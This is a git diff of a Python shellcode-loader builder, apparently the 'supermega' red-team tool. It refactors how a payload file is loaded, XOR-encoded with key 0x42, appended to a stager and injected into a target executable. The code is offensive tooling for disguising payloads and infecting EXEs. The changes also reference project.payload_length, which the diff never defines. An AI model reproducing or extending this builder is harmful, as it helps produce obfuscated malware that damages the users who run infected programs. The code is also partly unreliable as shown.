diff --git a/phases/assembler.py b/phases/assembler.py index ca732bb..c77e724 100644 --- a/phases/assembler.py +++ b/phases/assembler.py @@ -26,26 +26,31 @@ def asm_to_shellcode(asm_in: FilePath, build_exe: FilePath, shellcode_out: FileP f.write(code) -def merge_loader_payload(shellcode_in: FilePath, shellcode_out: FilePath, payload: FilePath, decoder_style: DecoderStyle): - logger.info("--[ Merge stager: {} + {} -> {}".format( - shellcode_in, project.payload, shellcode_out)) +def merge_loader_payload( + shellcode_in: FilePath, + shellcode_out: FilePath, + payload_data: bytes, + decoder_style: DecoderStyle +): + logger.info("--[ Merge stager with payload -> {}".format( + shellcode_out)) + with open(shellcode_in, 'rb') as input1: data_stager = input1.read() - with open(project.payload, 'rb') as input2: - data_payload = input2.read() - if project.decoder_style == DecoderStyle.PLAIN_1: + if decoder_style == DecoderStyle.PLAIN_1: # Nothing to do pass - elif project.decoder_style == DecoderStyle.XOR_1: + elif decoder_style == DecoderStyle.XOR_1: xor_key = 0x42 logger.info("---[ XOR payload with key 0x{:x}".format(xor_key)) - data_payload = bytes([byte ^ xor_key for byte in data_payload]) + payload_data = bytes([byte ^ xor_key for byte in payload_data]) logger.info("---[ Size: Stager: {} and Payload: {} Sum: {} ".format( - len(data_stager), len(data_payload), len(data_stager)+len(data_payload))) + len(data_stager), len(payload_data), len(data_stager)+len(payload_data))) with open(shellcode_out, 'wb') as output: - data = data_stager + data_payload + # append them + data = data_stager + payload_data output.write(data) observer.add_code("final_shellcode", data) diff --git a/project.py b/project.py index eee05ef..0430ca1 100644 --- a/project.py +++ b/project.py @@ -5,7 +5,8 @@ from defs import * class Project(): def __init__(self): # User, generating normally - self.payload: FilePath = "" + self.payload_path: FilePath = "" + self.payload_data: bytes = b"" self.source_style: SourceStyle = SourceStyle.peb_walk self.alloc_style: AllocStyle = AllocStyle.RWX @@ -34,6 +35,11 @@ class Project(): self.generate_shc_from_asm: bool = True self.verify_filename: FilePath = r'C:\Temp\a' + + + def load_payload(self): + with open(self.payload_path, 'rb') as input2: + self.payload_data = input2.read() project = Project() diff --git a/supermega.py b/supermega.py index e3f28f3..1524d1d 100644 --- a/supermega.py +++ b/supermega.py @@ -74,7 +74,7 @@ def main(): project.show_command_output = True if args.verify: - project.payload = "shellcodes/createfile.bin" + project.payload_path = "shellcodes/createfile.bin" project.verify = True project.try_start_final_infected_exe = False @@ -119,7 +119,7 @@ def main(): if not os.path.isfile(args.shellcode): logger.info("Could not find: {}".format(args.shellcode)) return - project.payload = args.shellcode + project.payload_path = args.shellcode if args.inject: if not os.path.isfile(args.inject): logger.info("Could not find: {}".format(args.inject)) @@ -137,6 +137,9 @@ def start(): clean_files() delete_all_files_in_directory("logs/") + # Load our payload + project.load_payload() + # Check: Destination EXE capabilities project.exe_capabilities = ExeCapabilities([ "GetEnvironmentVariableW", @@ -163,14 +166,10 @@ def start(): # Compile: C -> ASM if project.generate_asm_from_c: - # Find payload size - with open(project.payload, 'rb') as input2: - data_payload = input2.read() - payload_length = len(data_payload) phases.compiler.compile( c_in = main_c_file, asm_out = main_asm_file, - payload_len = payload_length, + payload_len = project.payload_length, exe_capabilities = project.exe_capabilities) # Assemble: ASM -> Shellcode @@ -189,7 +188,7 @@ def start(): phases.assembler.merge_loader_payload( shellcode_in = main_shc_file, shellcode_out = main_shc_file, - payload = project.payload, + payload_data = project.payload_data, decoder_style = project.decoder_style) if project.verify and project.source_style == SourceStyle.peb_walk: